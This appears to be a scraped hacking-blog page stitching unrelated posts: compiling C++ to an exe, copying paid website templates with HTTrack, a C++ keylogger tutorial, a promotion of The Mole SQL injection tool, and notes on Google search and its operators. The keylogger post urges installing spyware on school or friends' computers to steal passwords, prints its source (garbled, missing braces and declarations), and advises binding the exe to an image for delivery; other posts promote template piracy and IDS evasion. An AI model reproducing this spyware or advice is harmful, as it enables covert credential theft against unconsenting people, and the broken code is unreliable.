Compile Cpp file to Exe

This tutorial will give you a step-by-step guide for converting C++ source files into .exe files, runnable on most (to avoid the word “all”) Windows computers.  This guide assumes that the C++ source code is for a console application and does not require any outside libraries.

STEP 1: First you need to get a C++ compiler. One of the best for Windows machines is the free Microsoft Visual C++ 2012 Express.


STEP 2:Start a new project in Visual C++. This is pretty simple. Click the “New Project” button in the top left, then follow the steps to make an “Empty Project”. Then name it, and on the next pop-up hit “Finish”.


STEP 3: Copy and paste all of the .cpp files into the “Source Files” directory, and copy-paste all the .h files (if there are any) into the “Header Files” directory. Rename the main .cpp file (the one that contains “int main()” in it) to the name of the project that you chose. The external dependencies file will fill itself.

STEP 4:Build and compile. Press the [F7] key after you have finished all of the above and the program will be created.

STEP 5: Find the exe file. Navigate to the “Projects” file that Visual C++ installs all of the programs to (in Windows 7, it will be in your Documents). It will be in the file with the name you gave it earlier, under the “Debug” directory.


STEP 6: Test it. Double-click on the .exe file to run it, and if everything went well, the program should work fine. If it doesn’t, try going through the steps again.


Website Copier

HTTrack can be used to download any paid Website Templates, How to use HTTrack with an example is explained below, so enjoy your favorite template without paying any penny.

Installing HTTrack

Below is an Example, How to use HTTrack

Keylogger using C++

Today i am going to introduce to the C++ Spyware code.   It is going to be very fun.  You can install this spyware in your college/school  or in your friend system, and get their username and passwords.  This is very simple hacking trick when compared to phishing web page.

Disadvantage of Phishing Web page:
you have to upload phishing web page to web hosting.  But only few website won’t detect the phishing webpage.
website url is different. Easy to detect that we are hacking.

Advantage of Spyware-keylogger:
Very simple and easy method.
Victim can’t detect that we are hacking.

How to create Keylogger using Visual C++?
Dev C++.  Download it from here:
Knowledge about Visual C++(need, if you are going to develop the code).

Install dev C++ in your system and open the dev C++ compiler.
Go to File->New->Source File.
you can see a blank works space will be there in window.
now copy the below keylogger code into the blank work space.

#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();

int main()
char i;

while (1)
for(i = 8; i <= 190; i++)
if (GetAsyncKeyState(i) == -32767)
Save (i,”LOG.txt”);
system (“PAUSE”);
return 0;

/* *********************************** */

int Save (int key_stroke, char *file)
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

OUTPUT_FILE = fopen(file, “a+”);

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, “%s”, “[BACKSPACE]”);
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, “%s”, “\n”);
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, “%s”, ” “);
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, “%s”, “[TAB]”);
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, “%s”, “[SHIFT]”);
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, “%s”, “[CONTROL]”);
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, “%s”, “[ESCAPE]”);
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, “%s”, “[END]”);
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, “%s”, “[HOME]”);
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, “%s”, “[LEFT]”);
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, “%s”, “[UP]”);
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, “%s”, “[RIGHT]”);
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, “%s”, “[DOWN]”);
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, “%s”, “.”);
fprintf(OUTPUT_FILE, “%s”, &key_stroke);

fclose (OUTPUT_FILE);
return 0;

/* *********************************** */

void Stealth()
HWND Stealth;
Stealth = FindWindowA(“ConsoleWindowClass”, NULL);

Compile the Code(Ctrl+F9)

Now execute the program by selecting Execute->Run(ctrl+F10)

now your keylogger will run in your system. whatever you type using keyboard. It will be stored in Log.txt file.
you can see the log.txt file where you save the file.

bind the exe file with image or any files and send it to your friend.
if you have physical access to your college/school system,then copy the exe file in that system and run it.

The Mole – Automatic SQL Injection SQLi Exploitation Tool

The Mole is an automatic SQL Injection exploitation tool. Only by providing a vulnerable URL and a valid string on the site it can detect the injection and exploit it, either by using the union technique or a boolean query based technique.


  • Support for injections using Mysql, SQL Server, Postgres and Oracle databases.
  • Command line interface. Different commands trigger different actions.
  • Auto-completion for commands, command arguments and database, table and columns names.
  • Support for query filters, in order to bypass certain IPS/IDS rules using generic filters, and the possibility of creating new ones easily.
  • Developed in python 3If you want to know how to use The Mole there’s a good tutorial here.You can download The Mole here:

    Linux: themole-0.2.6-lin-src.tar.gz

    Or read more here.

How to Create Relationship in Ms Access 2007

Click On the image to view it in large size(original size)


How Google Search Works ?

Google search engine is undoubtedly most widely used search engine. It was founded by Larry Pageand Sergey Brin. We must have the knowledge of basic working and methodology used by google search engine.  I have explained the things in very simple words.  Read Carefully

Overview :

Okay lets assume , you wanna design a little search engine that would search the requested key words in  few websites (say 5 websites) ,So what would be our approach ? First of all, we will store the contents that is webpages of that 5 websites in our database. Then we will make an index including the important part of these web pages like titles,headings,meta tags etc. Then we would make a simple search box meant for users where they could enter the search query or keyword. User’s entered query will be processed  to match with the keywords in the index and  the results would be returned accordingly. We will return user with list of the links of actual websites and the preference to those websites will be given to them using some algorithm.   I hope the basic overview of  working of search engine is clear to you.
Now read more regarding the same.
A web search engine works basically in the following manner. There are basically three parts.
1. Web Crawling 
2. Indexing 
3. Query processing or searching
1. First step of working of search engine is web crawling. A web crawler or a web spider is a software that travels across the world wide web and downloads,saves webpages. A web crawaler is fed with URLs of websites and it starts proceeding. It starts downloading and saving web pages associated with that websites. Wanna have feel of web crawaler. Download one from here. Feed it with links of websites and it    will start downloading  webpages,images etc associated with those websites. Name of google web crawler is GoogleBot.  Wanna see the copies of webpages saved in google database ? (actually not exactly)
Lets take example of any website , say

Do this -:

Go to google. and  search for ‘wikipedia’ Hopefully you would get this link on top.
Click on the ‘cached’ link as shown.
Directly search for ‘’
Then read the lines at top the page you got and things would be clear to you.
2. After googlebot has saved all pages, it submits them to google indexer. Indexing means extracting out words from titles,headings,metatags etc.The indexed pages are stored in google index database. The contents of index database is similar to the index at the back of your book. Google ignores the common or insignificant words like as,for,the,is,or,on (called as stop words) which are usually in every webpage. Index is done basically to improve the speed of searching.
3. The third part is query processing or searching. It includes the search box where we enter the search query/keyword for which we are looking for. When user enters the serach query, google matches the entered key words in the pages saved in indexed database and returns the actual links of webpages from where those pages are reterived. The priority is obviously given to best matching results. Google uses a patented algorithm called PageRank that helps rank web pages that match a given search string.
The above three steps are followed not only google search but most of the web search engines.Ofcourse there are many variations but methodology is same.
What is Robots.txt ?
Web Administrators do not the web crawlers or Web spiders to fetch every page/file of the website and show the links in search results.Robots.txt is a simple text file meant to be placed in top-level directory of the website which contain the links that web administrators do not want to be fetched by web crawlers. The first step of a Web Crawler is to check the content of Robots.txt

Example of contents of Robots.txt
User-agent: * //for web crawlers of all search engines

Disallow:/directory_name/file_name //specify a file of particular dir.
Disallow:/directory_name/  //all files of particular dir.

You can see robots.txt of  websites (if exists). Example

Google Search Regex(Google Hacking)

Well, they are not really the same regex as we can use on Linux or programming. But some of the “tags” are pretty good and can help you on a lot of searches.

– “+” – Result must contain word
– “-” – Result must not contain word
– “OR” and “|” – Applied between two words, it will find “this or that”, or both. The “OR” operator must be uppercase and have a space between the 2 words on each side. The “|” operator does not need a space between the words
– ” “” ” – Finds an exact match of the word or phrase
– “~” – Looks for synonyms or similar items. Eg: “~run” will match runner’s and marathon
– “..” – Indicates that there’s a range between number. Eg: 100..200 or $100..$200
– “*” – Matches a word or more. Eg: “Advanced * Form” finds “Advanced Search Form”
– “word-word” – All forms (spelled, singe word, phrase and hyphenated

– “site:” – Search only one website or domain. Eg: “PC” will find PC within
– “filetype:” or “ext:” – Search for docs in the file type. Eg: “Linux tutorial filetype:pdf” will find Linux tutorial in the pdf format
– “link:” – Find linked pages (pages that point to the URL)
– “define:” – Provides definition for a word or a phrase
– “cache:” – Display Google’s cached version of a web page.
– “info:” – Info about a page
– “related:” – Websites related to the URL
– “allinurl:” – All words must be in the URL
– “allintitle:” – All words must be in the title of the page
– “intittle:” – Match words in the title of the page
– “source:” – News articles from a specific source

– “+ – * /” – Normal math signs. Eg: 12 * 4 + 2 – 1 /2
– “% of” – Percentage. Eg:10% of 100
– “^” or “**” – Raise to a power
– units “in” units – Convert Units (currency, measurements, weight). Eg: 300 lbs in Kg, 40 in hex

– “book” or “books” – Search books. Eg: book “LPI Linux Certification in a Nutshell”